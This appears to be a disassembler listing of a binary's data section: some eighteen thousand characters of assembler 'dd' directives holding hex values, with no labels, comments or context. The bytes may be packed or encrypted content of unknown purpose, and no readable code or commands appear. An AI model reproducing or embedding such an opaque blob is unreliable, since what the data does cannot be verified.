dd 6F4DE00Ch, 0AF026CA9h, 0FC5A063Ch, 0AEDC808Fh, 0D4E85E59h
dd 2A7CA8A0h, 0F69804ABh, 3D62099Fh, 440EAA9Eh, 10484C32h
dd 0A73EC721h, 0CE5F0562h, 0D9006A93h, 5E82713Fh, 0E8E0C295h
dd 64818A25h, 82A2FB72h, 83546C18h, 39B08457h, 0A946CF60h
dd 11D16F23h, 0F7B300DCh, 90D7FE46h, 0ACA60060h, 380C8898h
dd 0F45C8EDFh, 0A123004Ch, 0A677643Dh, 76E7EC6Fh, 396C18A2h
dd 350E7092h, 2DBC48E5h, 8FDB4A9h, 0E11660ABh, 0FC745CDEh
dd 9D007DB8h, 0B566500Ch, 2680C7C0h, 0D203F1h, 39A2843Ah
dd 9E544B87h, 0EF602090h, 0BE326EB1h, 0BCA3D58h, 3A5FC400h
dd 0CD9EAEBAh, 691CAB30h, 0F982D31h, 9D60C79Fh, 35F13F20h
dd 0DCBC84F3h, 42869C9Fh, 308C3E6Dh, 9AC88F04h, 0A8A3B76Fh
dd 7446A2C2h, 6B8AC103h, 0B025CC42h, 0D2A7B8h, 0B57DFD05h
dd 62976728h, 0E2B9C50Eh, 0D65C20DDh, 58EA4DB8h, 0ED04A887h
dd 0C1FE122Eh, 0EE45A0A4h, 35A9E320h, 8B0C28CEh, 98045494h
dd 0CA21C0FFh, 65E235D1h, 0AA439200h, 0F6A5CDC2h, 579B24D4h
dd 86A8078h, 0A4C16041h, 0E19AF218h, 0A8B30EE1h, 0FAE0C8h
dd 7E846542h, 703A392Eh, 8500C7E4h, 0EE82CACDh, 17A60CD1h
dd 0F19E381Ch, 8BF0F97Ch, 910C649h, 0C588106Ah, 4012638h
dd 0E04C3D04h, 0E048E358h, 0F5ABE16h, 25E0C7C9h, 17ACDEBFh
dd 2347A0A8h, 282C2A00h, 123E2742h, 0B0AF012Dh, 0A7A1876Eh
dd 9F2C24D7h, 0E8DC4312h, 4124A401h, 3009D5A6h, 0E31D808h
dd 3B8DD9A2h, 0E422B471h, 0B6092C33h, 33ED2100h, 4DEF4E44h
dd 3D913D05h, 2C25E780h, 2A06E488h, 22FBA326h, 0A446CC20h
dd 0CA350872h, 0F8C4AB0Ch, 35D5C640h, 6DFC51B3h, 72EAA00h
dd 0BDB53A93h, 70BA0CF5h, 0A0B8C832h, 808AF23Bh, 5BCD9633h
dd 3F6812E0h, 5E804F03h, 0C797DB55h, 2CE8410Eh, 31E4D830h
dd 286F90F3h, 45F01BC0h, 27F8414Ah, 106E00A0h, 0CCE35041h
dd 5488C076h, 3A9F4834h, 65C2121Fh, 0ECF27004h, 0BE260900h
dd 0C8A9070Bh, 15F060C8h, 5C860640h, 5865F59Bh, 4A388099h
dd 10CCBF47h, 259A0A1h, 1823F597h, 0B0A0A768h, 0DBDA4082h
dd 10AC60DEh, 2E908h, 0F038A133h, 80909EBBh, 328FB081h
dd 30E2F2FCh, 3A0AAB85h, 0A8CE9A41h, 9103B096h, 0BA0F67h
dd 51182689h, 4C773512h, 580BB10Ah, 0E7008A14h, 227E80CEh
dd 48407F18h, 4A82F42Eh
dd 0C0139AFBh, 0B387E392h, 89B520h, 0A6D79798h, 0E07F5DF3h
dd 19CAAA02h, 5205BEC6h, 3CA20E3Ch, 9EC4AECCh, 8044943Ah
dd 2CB44F64h, 18DA652Ch, 29F3A940h, 0E773A48h, 3A90F786h
dd 0F50938B3h, 19179A0Ch, 3410B5ECh, 0CB1DBE72h, 0A9FAD733h
dd 8837E40Ch, 0DC943BC4h, 30A3B409h, 1135AA64h, 88B30CCFh
dd 0C7C99EE0h, 0D0C0D835h, 0B6AB8159h, 0C4A60A9Dh, 28F08C08h
dd 6D5F04ECh, 0C8F9C510h, 0BC540F04h, 5CE2C094h, 7CF69000h
dd 0CBE951EDh, 1719026Eh, 9A961B55h, 83EB1468h, 0C1017188h
dd 0CC6B9DC1h, 8068A0E5h, 40278239h, 8454250Eh, 98D30424h
dd 440420FCh, 0E310249Bh, 0E020B132h, 0B86D4438h, 0E66E2014h
dd 2C1E9D00h, 25147A4Dh, 0EDD11D2h, 45D10FA5h, 1CD9484h
dd 5CC715A0h, 0AC40827Ch, 61087341h, 0EE2A0FBh, 0FACC200Ch
dd 848E750Ch, 9445765Ch, 0C03F80A4h, 9C012613h, 4CE2100h
dd 752FD503h, 47F72C7h, 4522235Dh, 1492408Ch, 7D2CFA67h
dd 0F368124Ch, 8090249Dh, 0F9AE9B28h, 0BC4D102Eh, 8B6A0C82h
dd 0A654539Fh, 8837085Ch, 847DF809h, 498A648h, 0F43508AFh
dd 0FEC4DB0Ch, 35D7C440h, 46002523h, 0BB29B2B5h, 4D793A2Dh
dd 0D81DC0F6h, 0EB0DC06Ch, 0EA5924D2h, 812CC44Ch, 0E9F640A2h
dd 34022829h, 44EFF214h, 0F10054E4h, 8BA9DC7Ch, 0AAAC3E0Ch
dd 66EF03BCh, 0BC4940E4h, 0A62E0004h, 76460F12h, 9C0C2D6Ch
dd 498B4536h, 1B400019h, 3354D2C1h, 3A4D6124h, 75A90240h
dd 81E16568h, 0EFB38388h, 0B4C88429h, 5C4A6D1Ch, 9F82B418h
dd 80D00473h, 686138F0h, 90966042h, 843BCA25h, 10C0C894h
dd 0A75BF2A9h, 47C70820h, 647118C2h, 0AA9C8098h, 381980D2h
dd 470FAB06h, 21BD0Eh, 0B8FE607Ch, 75444DF4h, 1C125800h
dd 3302DA5Dh, 4CD07DFh, 0A252F23Eh, 0F0C40FF7h, 0BB513Dh
dd 31253C47h, 19F847Ch, 3060384Bh, 209C870Bh, 2D269907h
dd 660992BAh, 60781Eh, 142671F2h, 8B670C91h, 0F8460400h
dd 6D22118Fh, 0FAC92420h, 76F080F8h, 0CFAAE249h, 19D51030h
dd 79A83904h, 3FEEF480h, 0C2223508h, 0AACCF407h, 51C36D8Fh
dd 413103F6h, 0DD78FE46h, 0E89F30E3h, 739C3903h, 0A400ED80h
dd 149E8B3Eh, 3930022h, 87865779h, 0BE89AC0Fh, 0BCC8FCCFh
dd 0BB5B3A77h, 219F0F18h, 41DE036h, 76C23BD6h, 52ACA3E4h
dd 0D3C0540h, 0C0B8E5E8h, 0FD63439h, 0E1AC6200h, 1C43E0DAh
dd 4920610Eh, 0C499F659h, 9FF4C066h, 9E467900h, 68C96E17h
dd 13C8F36Fh, 5B8D004Bh, 52B76402h, 853C7419h, 9307766Ch
dd 867F676Eh, 0A5570440h, 4868F077h, 4C07209Eh, 4F1E41A1h
dd 5D1F0CE0h, 38005483h, 31C9B26Dh, 2759859h, 57815F1Eh
dd 97E05D14h, 85954F15h, 3828C061h, 784E7823h, 184AE95Fh
dd 5D083E8Ch, 8363067Eh, 0F0967DB0h, 19B7313h, 9F4E38C9h
dd 0FC723E6Ch, 530F1579h, 5E327883h, 56EF0E03h, 0C039F192h
dd 7EBF6840h, 68B2F033h, 3C983959h, 0D2C30457h, 1000BAF2h
dd 988B3AFFh, 0F9B950h, 5713304Eh, 0E1353732h, 88DA8A01h
dd 0C11F7965h, 0C0E83081h, 81D850F0h, 0C34E5318h, 84064D0h
dd 0E6E5666h, 0DFD1E2B6h, 10707E05h, 68012CE1h, 53CC412Ah
dd 830C58B9h, 0C30C88D1h, 0E0522419h, 6CE2B323h, 60A05964h
dd 30FAD844h, 0BE412D3Ah, 0E8CC6651h, 0C2874049h, 0FBCD8419h
dd 53BE78A1h, 0A7584263h, 0EBFF91Dh, 7E8792FCh, 4DB00EE3h
dd 4A0756AAh, 7FC07E1Eh, 0CC907C84h, 608522FDh, 8CE32825h
dd 6374393Ch, 0C02E528h, 24386E3Fh, 379CE4B4h, 8BCCFDh
dd 71A44C65h, 18A5CCE5h, 1953293Ch, 7BF079C9h, 0FB00FC92h
dd 51A41EA6h, 71FCE432h, 0FF6406B2h, 191F86E3h, 34AA6750h
dd 0B4988AE9h, 3F0158CAh, 0BCFE6223h, 0C88644Eh, 0E561A583h
dd 8C50C54Eh, 20B721D0h, 0D8FE22B8h, 0B0CA8630h, 54F3C8EEh
dd 2956C458h, 94F8B662h, 1E13E070h, 355C08C0h, 60480449h
dd 639A4058h, 0AB29C1C2h, 7A8C9941h, 2EE46A14h, 3909748Dh
dd 217C93E1h, 90326898h, 6D5810A6h, 6F4068C3h, 1D4284BFh
dd 8899F9BCh, 53E08937h, 0F0640F67h, 0B70A6882h, 0E542402Ch
dd 0CD02E050h, 910C912Fh, 8D8042B5h, 0C18995Ch, 8C4B50D2h
dd 6A231661h, 14047FFEh, 0CC883563h, 4884E079h, 0AB21B0C9h
dd 94D3C80Ah, 2EF0C340h, 12609264h, 32401EAAh, 69257B28h
dd 42048073h, 9A848C99h, 0FF0601A7h, 0C33B28Eh, 4A857CECh
dd 9BC708A8h, 80503564h, 99466CA3h, 4ED6140Ch, 0A46A128Ch
dd 3DC89C3Fh, 0D9FB10F5h, 0A0276EB1h, 7C596CC8h, 781441C2h
dd 0D89AA112h, 52A74C4h, 50AFBC77h, 34A83190h, 0E2B0A70Dh
dd 0E3F55138h, 8189A849h, 0B490D968h, 0D8A44F27h, 0F5646648h
dd 0A9375832h, 422C354Ch, 0D935DAFEh, 20F01B07h, 0A860CA4Fh
dd 67583510h, 12832444h, 9A460F78h, 114D1091h, 2AC2DC51h
dd 20C90C50h, 510EBC18h, 0D858C182h, 0F92F4D70h, 4984611h
dd 0A3839C08h, 3B3B3A3Ch, 0E8C806A3h, 53873CA3h, 0F2B896B0h
dd 0EF3CD8A8h, 863E5E7h, 80A36AF0h, 1C92269Eh, 5E8C931Ch
dd 0D0D35F12h, 0D159E35Ch, 58E05091h, 1C6C0081h, 186F5FC0h
dd 6E0A834Eh, 14984D15h, 55E05A51h, 5C30C11Bh, 0F197531Fh
dd 81D918h, 7F58864Fh, 6D9F0710h, 0F06E8E02h, 5D9C5404h
dd 82936703h, 74911452h, 9F582418h, 0D03B2511h, 13A087BBh
dd 5C749A4Bh, 5E92610Ch, 30557814h, 4C315B18h, 59C25C91h
dd 9A501A5Eh, 0F610440Ch, 2510083h, 15599B5Fh, 88A19253h
dd 4A1C384Ch, 20C0D024h, 84570A47h, 3C203345h, 685E4846h
dd 0FA31C130h, 7048A6E1h, 9F307378h, 9A3519BDh, 71F70356h
dd 0BC430DFBh, 7DFFC0A7h, 3048CD42h, 7AF21ADCh, 29344038h
dd 58DF56h, 34B8C93Dh, 28064A16h, 454E7F9Eh, 102101A1h
dd 3D78974Ch, 0F0A42115h, 0A9DF08EDh, 700964D0h, 20AF80E7h
dd 0D90C6388h, 0A3EEE14Fh, 165E218h, 90A02849h, 0D9866168h
dd 0A7193167h, 0E81986D2h, 0BAE2598Fh, 0CC081011h, 2ACB051Eh
dd 0EA4E4140h, 0AF41F848h, 3D2260B0h, 8A052661h, 21D193D0h
dd 8CF49FE4h, 51DCD631h, 0C69E2AF9h, 9A9F2CC8h, 29BF8E48h
dd 0D188D104h, 0C2D08B34h, 0C0A88853h, 6D18A891h, 18B72379h
dd 30D115D2h, 69C269D8h, 29528663h, 9F50C403h, 4CFCA794h
dd 574208A0h, 0B38C678Dh, 3112410Ah, 1845FD06h, 4C0AABCCh
dd 32A5583Fh, 4A58610Ch, 58330F31h, 0D10DA53Bh, 0D430D29Fh
dd 18DDBEDEh, 2A4C0594h, 1C9458E3h, 0FF7154CAh, 10A7A442h
dd 64856D3Eh, 19953172h, 0C6B88819h, 0D3F7589Bh, 85C13A88h
dd 2A313364h, 28351879h, 4228E1D1h, 84ECB842h, 3AA36A46h
dd 84D228D4h, 9EA1B246h, 0D8210A4Ah, 0B6A8DA11h, 0C6884342h
dd 106AE244h, 33A3591Ah, 0C00A4494h, 466A103Fh, 52113EA2h
dd 42FA841Ah, 326CD961h, 846C485Ch, 60CA7E4Dh, 6909D220h
dd 10828EFCh, 36E3FD60h, 40612304h, 654E84A0h, 0DF95D88h
dd 0AA2F20E4h, 0A00C0858h, 83787C98h, 0B784E882h, 0E2391925h
dd 0A0B471EBh, 21C9FC10h, 3C8CA240h, 14D06665h, 74E1B347h
dd 999F5044h, 9091BBCh, 0B9F27BE1h, 145B4440h, 0A00AFFDCh
dd 0CB20589h, 9C98F08Bh, 0B50C2361h, 4164D9BFh, 947234h
dd 0B2EAFF6Ch, 566305F0h, 13E92D13h, 8AED0001h, 4081621Ah
dd 5A8673D8h, 79508270h
dd 68892AFCh, 167B4B8h, 0C9370378h, 0F0024057h, 0A1985A08h
dd 76C8E700h, 8EAD09F9h, 0E6FA14B2h, 6E02E444h, 97A386FBh
dd 610F2C60h, 0D3C0ED01h, 9F07A814h, 0D100C432h, 579188D0h
dd 220063F0h, 0D57F0982h, 14AB485h, 0B5293AA0h, 8078D91Ah
dd 0E3BA84D9h, 73F960Bh, 99611C7Dh, 0B26EB0F2h, 0E113372Eh
dd 0EC007FBAh, 0CE929E4Ah, 9F75064Bh, 195832F1h, 7C96A622h
dd 76AA2239h, 99BE9934h, 904DDC0Eh, 0BCE6390Ah, 7F0340F4h
dd 770097A1h, 30B38E82h, 0F73DE2h, 0FE2E16E3h, 0E43BF9E7h
dd 3814101Dh, 3CD11Dh, 0EA2AFBB7h, 0E8DE0E88h, 0A2D53EEBh
dd 0E5E6F400h, 0E228F52Fh, 0FAEEA9F0h, 10F2220Eh, 28ED8CFDh
dd 1510C321h, 0E9E0F53Fh, 0E200F026h, 0E7F42FFBh, 0FA6EBE5h
dd 0E82E29D7h, 0F13A1380h, 0F9F018D5h, 2701E778h, 7DFDD1F3h
dd 0B8957189h, 0ACAF0486h, 18C312DAh, 17B40525h, 0E6C8C17Ch
dd 12184A8Fh, 0B845BF79h, 11C00C84h, 349075h, 54DAC5FBh
dd 8A3C8F66h, 8E18B360h, 3EC1D61Ch, 590F9A26h, 48D8872Ah
dd 5870AD1Dh, 0D23C42FEh, 0C1E8073h, 0BEF3FCA6h, 8C1F004Ah
dd 5F53B1B3h, 82607A04h, 0C4852D90h, 1FDA3F56h, 967901FAh
dd 0CDCB4FAAh, 0C7AF3058h, 0EC7D2700h, 0BB86F234h, 185C6040h
dd 3921C51Dh, 143970DFh, 640F534h, 0FFA70EBh, 83201CD9h
dd 7678BA2Fh, 0B1F8C029h, 8D59B08Bh, 0C4010946h, 9D7715FAh
dd 83061E3Bh, 10857144h, 0C814DD03h, 690776Dh, 40F11768h
dd 0C231E0EAh, 42CB68F7h, 8118F89Bh, 3B3D6C90h, 0C402461h
dd 7C013C1Ah, 0B150BD71h, 81B97811h, 6983D451h, 2E048C4Ah
dd 78CE2D0Fh, 0B580C1F6h, 42BE9E50h, 0B064A688h, 42F7DE00h
dd 7949105Ch, 0E9C38988h, 0CC4AF9AFh, 113EF478h, 8F871019h
dd 8309CF72h, 276A4819h, 48C23E28h, 5230AE64h, 3B2FB409h
dd 0FA830300h, 0F6A84E88h, 5DCD0780h, 0B028D529h, 18E1A93Ch
dd 0E6EE3F1Dh, 0D01E3E5Eh, 766E786Ch, 0F4385002h, 0E154C3E2h
dd 0D2C1C710h, 120FED0h, 5ED4D5E5h, 4CA64F8Ch, 58398D44h
dd 41B0249Ch, 449C80Ah, 0E8146561h, 0C4D4AF1h, 22F80800h
dd 462842E2h, 6DE1674h, 8F887861h, 940E31FAh, 0E9A0B610h
dd 8942E411h, 10320894h, 640804CAh, 95814846h, 0BEB3300Eh
dd 8AEA5914h, 31C8A310h, 7809CC19h, 19104989h, 0E65EF108h
dd 774270A3h, 9CB21026h, 427505DFh, 0C5C46167h, 8C9AE22Fh
dd 4CDE5000h, 0E49034D6h, 0BD801881h, 24EA4509h, 918C4885h
dd 91897D8Fh, 8B248812h, 8D918A48h, 97449422h, 12998996h
dd 4F932490h, 169A8092h, 1DF3C6D9h, 64D8DF1Bh, 8B818CCCh
dd 0D49187B8h, 0BA04346Fh, 9408BACAh, 0D10EBC4Ah, 0AE8047BBh
dd 70D68A88h, 190F9B7Ch, 69D38172h, 0C3D18F14h, 0A331BBECh
dd 0C309E3FEh, 80C1A1F6h, 5F48BA42h, 1563150Eh, 0F9D39C14h
dd 0AED64001h, 88238274h, 946711E0h, 87FED748h, 9255FF04h
dd 7714E38Ah, 0C3D31F00h, 34E115F6h, 4AF18183h, 252CE038h
dd 0F2C010F3h, 35D11D8Fh, 9D8C68Ch, 18088AD7h, 77D55F04h
dd 9AA60700h, 541AAF0h, 2A834BF2h, 79100504h, 80382B46h
dd 0D6B5497Bh, 0F5421CCFh, 0E689CF04h, 6D807CCFh, 0D070B4Fh
dd 95358204h, 0C3239C8Eh, 471A19E0h, 0A3344E0Ah, 9D45288Ah
dd 10E470EAh, 0C93034C5h, 0E179288Fh, 4930CF99h, 1FC1DA80h
dd 0D93C27D0h, 0DECC007Dh, 0E5E0D78Fh, 37D23C3Dh, 0D1F4EA00h
dd 31F326FBh, 4B833Ah, 0E43BE1D5h, 139E5C7h, 26E82AFFh
dd 0F3F770C8h, 1B16E6B0h, 2C01E474h, 0C1D5E221h, 0E1D3CF8Fh
dd 0F9F4E81Ch, 2940C335h, 0FDE0F53Bh, 2A15F702h, 7C408E14h
dd 0F034181Eh, 894A017Ch, 0E423E635h, 901CC2C7h, 0A4B8230h
dd 2517E3EDh, 0E807611Ch, 0C77010E2h, 14F77520h, 60ED3F18h
dd 0AADCFCD6h, 0A4D1EC2Fh, 23B37B07h, 70F23181h, 0BF131858h
dd 172A4C4h, 0F27DD705h, 2C7017F9h, 0A0E5E6F7h, 1FD7E7C4h
dd 0DCDD8979h, 38E3D47Dh, 138771CFh, 23DBD0B7h, 0E174D6F6h
dd 402314A5h, 0DCDA8F83h, 0ECCEE9D4h, 0E8E9E8CCh, 0F820548Eh
dd 0F8F23E3Dh, 70597BAFh, 89C05057h, 35D51C00h, 0C3D619DEh
dd 0A58F1FF6h, 3A3CDCE0h, 0EC251609h, 0E5133481h, 0D00035E6h
dd 0A4031217h, 0F26582E0h, 9880C4DCh, 13713FBh, 0EB8F25BFh
dd 0D82D29F0h, 8E24E7F3h, 0A507A866h, 9889DD3Bh, 0F2B37C20h
dd 0F03912E6h, 50EC1AFAh, 27B274B0h, 1791D56Bh, 7B895D1Ch
dd 3C3000C2h, 9A2E4F6h, 0E1D4F915h, 48989655h, 0A92C58E0h
dd 0FF210750h, 807C47D6h, 0E826FEC1h, 63E5E71Eh, 24E1EE06h
dd 35182640h, 3AA200C0h, 2E16D1F1h, 1574ECE0h, 252C10C0h
dd 1FE20E8Bh, 0B29EDEBh, 7007F221h, 0FC8749E9h, 13108267h
dd 0F9EDA040h, 17103B63h, 0FD601226h, 58AC1822h, 88D229F5h
dd 0EAD808AAh, 0F43F2A07h, 1239E243h, 0AB20FC30h, 0E3F5D445h
dd 0A09426FEh, 0D0AC294Ah, 0F84AA9FEh, 0D6F93F0Fh, 30172E0Fh
dd 135D4D4h, 63F1DC90h, 0A3220160h, 0E62FE81Dh, 0B8E5F2C8h
dd 95B8ACCCh, 0FEEBB071h, 13E3075Ch, 12EC403Ah, 101FF725h
dd 0D20132E9h, 28F53F14h, 0DC7F8061h, 0C9EB770h, 7B05F6D7h
dd 36E7D5D2h, 3DC5C480h, 59B4B0EEh, 2EC4E425h, 0E80CD8E2h
dd 1610E50Eh, 313A9F3Eh, 26E91025h, 13152897h, 81C42410h
dd 0A6E82F1Ch, 0FD1FDC09h, 0E653E424h, 0C03B5950h, 2A8C4105h
dd 0DA20C017h, 10983513h, 6826E537h, 0D0C03FC7h, 0B9F220FEh
dd 90882520h, 3C43522Ch, 3C40C0E5h, 184CD1F5h, 58FA3034h
dd 0FE810F3h, 15E0EC20h, 94D4B099h, 0D218C780h, 0C6375002h
dd 7D0CFB70h, 0DD120E74h, 0C9168F22h, 362DE084h, 0C970E521h
dd 18177CE2h, 0E0DE8Bh, 2D35F5C8h, 49F70125h, 0D47079FFh
dd 0E0044BFEh, 1866130Ch, 1403F217h, 650001F0h, 7BF9E675h
dd 5408E21Bh, 78BC4078h, 0ED1E0005h, 0E2699812h, 0DF0E4901h
dd 809C1FBEh, 70470602h, 0F4F7CEFh, 780BE617h, 48F7E280h
dd 157C1E75h, 1E81601h, 12E173B5h, 1DEF23D0h, 0E224B06h
dd 0ED80996Fh, 0E6694332h, 71420507h, 738012EAh, 39470F13h
dd 41011E16h, 652ED922h, 0F032D136h, 506E875h, 6E168B5h
dd 4D120321h, 760EEF73h, 4380E6A3h, 761EDDFh, 7C061D98h
dd 0D505C883h, 6800E90Fh, 742ABC14h, 21091E71h, 0FA7E7578h
dd 74121EEFh, 60241873h, 765206F3h, 0E5F5F968h, 0A12246C0h
dd 0A84047F4h, 14377814h, 0F079021Eh, 0F934F00h, 75975006h
dd 4706EF70h, 7C07F0DFh, 67770321h, 247405EDh, 0C88106A2h
dd 0B07D03D9h, 0F3165890h, 70FFE812h, 71782908h, 7E10A938h
dd 1E78657Ch, 0E8144937h, 131C16C0h, 93E1DB5h, 0EF420F27h
dd 0CDCE89Ch, 0E5167CF8h, 0F1032248h, 1C1E4703h, 0EB70E004h
dd 1748324Fh, 7C4978E8h, 2F79D077h, 44BCC4A1h, 2D8C2080h
dd 0C9034D9h, 7C90EB70h, 4306E30Fh, 311F8823h, 47744688h
dd 0BCDF42DCh, 38D8D088h, 0BF00413Ch, 0E424420Bh, 9F08304h
dd 1A80C48h, 0FD8112ECh, 0B04214CAh, 0D9F0A6EDh, 0E8191960h
dd 0F3E2D02Fh, 86AB74C1h, 9D91A28h, 16C880E9h, 0A658A4ECh
dd 0C66FFCDCh, 3024AC08h, 80F6EF12h, 747C1C40h, 24450ED9h
dd 1444E56Fh, 14CAF41Eh, 2EF4278h, 1F23840h, 4FC87950h
dd 131D737Ch, 307E4707h, 0F0AE80Eh, 1F0A076h, 0F6609978h
dd 78D70485h, 330018EDh
dd 32A2CA4Ah, 57E6C6h, 0DB42AAFAh, 2BEB7CF1h, 6600B2F0h
dd 0ECE3BF5Dh, 303A831Ch, 6F30BAD6h, 0FC77F647h, 282F4B31h
dd 1FFD72D4h, 2E397CD4h, 80DA8FB7h, 4D3E825Bh, 4A00F687h
dd 0B0B38CD2h, 0F92D166h, 0AA561814h, 79203FACh, 0F140477h
dd 0E120B80Ch, 0D418AEB9h, 52724910h, 0E3E24405h, 15C1E01h
dd 5EAA58AFh, 3618C49h, 44FEC8DCh, 0D4024884h, 0BF5E2509h
dd 7944C831h, 8C2F39EBh, 0FFDB380Eh, 846D1CA2h, 2CE1C99h
dd 98AC930Dh, 3C03EC5Ah, 0E801C627h, 0CDED110Ah, 0A99C427Ch
dd 36574600h, 7BB4A0ABh, 2FEE0A39h, 0B08DDD9h, 4820A58Eh
dd 0A3AA731Fh, 1C591800h, 0CAABD415h, 0D2571D4Fh, 0A4370A6Ah
dd 0D83308C0h, 0F4C67180h, 0C3A96D0Fh, 64EDFE50h, 8485148Ah
dd 6B54210Bh, 0A6F51806h, 1C5E411Ch, 2E460D88h, 84B2D862h
dd 80C30A10h, 2A305275h, 14EC18B1h, 26790C1Ch, 0DE8102FDh
dd 6DB51700h, 0D8540D76h, 53BD3A7Dh, 4421C730h, 4A03B50Fh
dd 5E060783h, 0A14B8AAAh, 8E20AFF0h, 4C47C5Bh, 74236A07h
dd 5FF3C080h, 9E730CAh, 7C97666Fh, 1DD9AC20h, 460F0C16h
dd 2C03B923h, 0C2CD0833h, 1625BF51h, 0C3D2BEE0h, 0CFB0D648h
dd 0AE9A85EEh, 5A7D9800h, 0C432BB12h, 42A365D9h, 4E5566F2h
dd 0EDA64098h, 0E9C91475h, 379402FEh, 0C0A230B5h, 0FEC7702h
dd 4B437FA5h, 0BE209138h, 8064C891h, 46061617h, 1C3D8733h
dd 0B8A4161Fh, 48E01B1Fh, 0CEA9B455h, 80DC9F18h, 0BE3457E7h
dd 0D004E0A7h, 58780837h, 23201C8Ah, 87090348h, 220020DEh
dd 47744Fh, 703ABF8h, 0B652BF3Dh, 0C8C5DCE8h, 0C820D1B7h
dd 66E7BAACh, 581A10D7h, 0CD85860h, 1D945E1Fh, 80250816h
dd 0B2BBD6B6h, 20C35372h, 3D46966h, 0EE56AA99h, 328054C3h
dd 84A0A1AEh, 7A0C8BC5h, 108CD742h, 7D50C0Dh, 50397461h
dd 18C4710Eh, 7DE3A1E7h, 89898EFh, 6A292158h, 0C972C400h
dd 0EC966B87h, 7CE92827h, 89FF00E8h, 46ED5E09h, 0F960D7EAh
dd 877E7AC0h, 0AD7300D9h, 0CAE378ACh, 2F30EA83h, 0C06920C7h
dd 87D0ED1h, 40FEE181h, 5C254903h, 0BC92EA82h, 0A711705h
dd 0B400CBBDh, 0D5318FBFh, 0EA4A0CDFh, 1148262Ch, 0A65DA0Eh
dd 0C881864h, 0EE430929h, 78A2A657h, 2048CB95h, 0BB001151h
dd 8F21F2Dh, 5D118C7h, 0B21AB5E0h, 0BCB83219h, 60119084h
dd 211AC46Fh, 33C040E7h, 7AC468h, 0A7811D0Bh, 496FBD07h
dd 7C15BB7Ah, 4864708Bh, 20234Ch, 766BB511h, 448653BDh
dd 9043EC6h, 0C5E501B5h, 98188983h, 0AC94E885h, 0AA5D0D84h
dd 40C074FAh, 0BF6AE6ECh, 0CE017076h, 825EA030h, 20BA6BFEh
dd 63397E01h, 501B028Fh, 27ED057Ch, 160C64F1h, 0EE5B6600h
dd 5FBB7C8Ch, 5468C2DAh, 689088C2h, 9C1359A5h, 80380F4h
dd 29C8310Fh, 0A501F18h, 40C4976Ah, 0EFAEB736h, 4B52F400h
dd 0E00BC973h, 9CC800F8h, 1E186406h, 0FE028DD2h, 2F10B190h
dd 0D6C8C048h, 6361805Eh, 0A91BCA8h, 0CDD54100h, 5A9F35B7h
dd 43800038h, 18B0D4FBh, 9112A7CCh, 2C0E1D23h, 4456707Ah
dd 30D09A00h, 0C3D37BACh, 850D9100h, 4E1FC83Eh, 1F74A4E5h
dd 6D48E7Eh, 48375179h, 3F9F783Fh, 0A42ABE7Ch, 0E91AC31h
dd 11C46C80h, 448C98E7h, 6524305Dh, 3D0084C4h, 5F14D3F3h
dd 0EBC813E1h, 5D2043DAh, 60DDF67Ah, 791D995Ch, 80241949h
dd 7674B518h, 0CC448CF5h, 0B5100737h, 102E411Bh, 602D0C40h
dd 21F82033h, 0AD58987Dh, 9F60349h, 35B4B854h, 6032A5D8h
dd 0E2385E52h, 0E80730CBh, 7409C7E8h, 0A1F56257h, 0FEC29D0Ch
dd 86175033h, 5E4040A2h, 1904EB42h, 3D189300h, 0DC9B9656h
dd 17609BA8h, 91582087h, 0ED01F8FEh, 0FCCEFAA6h, 62F2A868h
dd 0ACAF0093h, 91669242h, 8C7E0018h, 7D37BFF6h, 26CEBC00h
dd 77BE1720h, 0B0710202h, 1B8541A5h, 92384048h, 0E5345C13h
dd 7B9F2C04h, 0AA78204h, 7CE0C8EAh, 90DDFA52h, 77204h
dd 7EF489A8h, 0D88810FFh, 20B4E8A8h, 5C033C79h, 5373DD6Bh
dd 0AC083043h, 3C0899D1h, 0DA05A2EAh, 0F5FC333Bh, 25D6A840h
dd 13AFE4CBh, 60BB4028h, 50EAECF0h, 0C9ED0786h, 0E0F689FEh
dd 9054D93Ch, 8404D04Ch, 1900669Eh, 80A8A483h, 0F0001646h
dd 24D71209h, 560A3607h, 647D8450h, 1AB4656h, 20860465h
dd 0B089AD6Dh, 9411D7F2h, 86D1813h, 70E714C4h, 35405BC4h
dd 0D7AEC466h, 300E6A00h, 0C323C578h, 8E5D003Dh, 0E16C96FEh
dd 0D09343EBh, 6F08B026h, 0E8D114FDh, 0B5FB8500h, 657E6D3h
dd 1C02A04Ah, 3AF7E4Ah, 0D0BB5AA9h, 5037182Eh, 1C806511h
dd 1B460B16h, 0BCD6448Ch, 7616241Ch, 2F61CC80h, 1EEF8Ah
dd 0CD79E1D1h, 0F3F640D5h, 0C40A8F0Ah, 0B8CAE0A7h, 0B25E9D02h
dd 1D60AB22h, 80D21190h, 5C0FD61Dh, 49DA2C4Ah, 0E1144108h
dd 51DEFC91h, 60609626h, 8EC0A441h, 43222E1h, 764AD504h
dd 0C2D0B4BCh, 56A8A540h, 430990EAh, 0C410F5C8h, 41C0CFFBh
dd 0A6133E36h, 10E0AEh, 3017247Bh, 7A09019h, 4B6FD100h
dd 0E252B5BBh, 0BA89C247h, 0D480D01Bh, 0EC76C0A1h, 0BCB51F26h
dd 6C307992h, 26E9EDB0h, 0A8C4BA8h, 28644082h, 1E124650h
dd 5C483C0Ah, 4FA7C41Bh, 2A3CC097h, 2842053Ah, 2078B9EAh
dd 7D00DD3Eh, 0CC730A9Fh, 330FECBFh, 0B818A8C1h, 0AC58D2FAh
dd 400008E4h, 757C06E1h, 2ED6B04Bh, 8A64ED61h, 0E4704902h
dd 4C98A27Dh, 9553C090h, 6F4E845Bh, 0D0ECD015h, 85000629h
dd 0C0BD7744h, 43B52CDh, 12C66188h, 0B648C176h, 38CF00D7h
dd 164BB77h, 6D07E6BDh, 1DE864D5h, 0A5C58C01h, 0D783E37Ch
dd 86A8D100h, 230616Bh, 0AD6DBE0h, 8119C5A4h, 1DC7DECh
dd 3824CC95h, 7906EC33h, 24A6017Eh, 196976E2h, 4CBFFCB1h
dd 0E0AF3F06h, 0AD01E51h, 6B6EC120h, 0CE4F0834h, 191F6A00h
dd 59525E0Fh, 1E12F0E6h, 0EA600B17h, 952ED816h, 465EA01Dh
dd 88EE00CBh, 0FE94027Ch, 11E45C66h, 7EEA2160h, 0BB00D8D2h
dd 255E22F1h, 1174362h, 0E17ACF0Ch, 0D8B337FFh, 700DD03h
dd 0AFF33C3Ah, 5619A679h, 0D853A05Dh, 9D30D7A2h, 3D660409h
dd 806D19C4h, 57E27480h, 8B14720h, 0A4E632D5h, 263ECC24h
dd 950C9390h, 41F49C2h, 0C463A4DCh, 623C8216h, 6091A050h
